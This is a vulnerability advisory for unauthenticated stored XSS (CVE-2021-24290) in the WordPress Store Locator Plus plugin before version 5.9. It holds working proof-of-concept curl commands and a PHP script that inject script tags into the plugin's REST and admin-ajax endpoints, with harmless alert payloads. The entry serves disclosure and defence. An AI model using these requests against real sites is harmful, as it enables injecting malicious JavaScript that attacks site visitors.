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WordPress Plugin Vulnerabilities

Store Locator Plus < 5.9 - Unauthenticated Stored XSS

Description

There are several endpoints in the plugin that could allow unauthenticated attackers the ability to inject malicious JavaScript into pages. 

Proof of Concept

PoC #1
curl -i -s -k -X $'POST' --data-binary $'value=<script>alert(0)</script>' $'http://[SITE_URL]/wp-json/store-locator-plus/v2/options/label_radius/[MD5-OF-SITE-URL-HERE]/'

PoC #2
curl -i -s -k -X $'POST' \ --data $'file-meta={\"url\":\"https://URL/slp_settings.json\"}' $'http://[YOURTARGETURL]/wp-json/store-locator-plus/v2/options/import/' 

Where slp_settings.json is:
{"store-locator-le":{"settings":{"options":{"label_radius":"<script>alert(\"howdy\")</script>"}}}}

PoC #3 
*Requires Authentication
<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

//XSS
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'slp_change_option',
    'formdata[option_name]' => 'options_nojs[label_radius]',
    'formdata[option_value]' => '<script>alert(1)</script>'

]);

$content = curl_exec($ch);
echo $content;

?> 

Affects Plugins

store-locator-le
Fixed in version 5.9

References

CVE
CVE-2021-24290
URL
https://www.wordfence.com/blog/2021/04/severe-unpatched-vulnerabilities-leads-to-closure-of-store-locator-plus-plugin

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

Yes

WPVDB ID
dc368484-f2fe-4c76-ba3d-e00e7f633719

Timeline

Publicly Published

2021-04-26 (about 1 years ago)

Added

2021-04-27 (about 1 years ago)

Last Updated

2022-09-06 (about 6 months ago)

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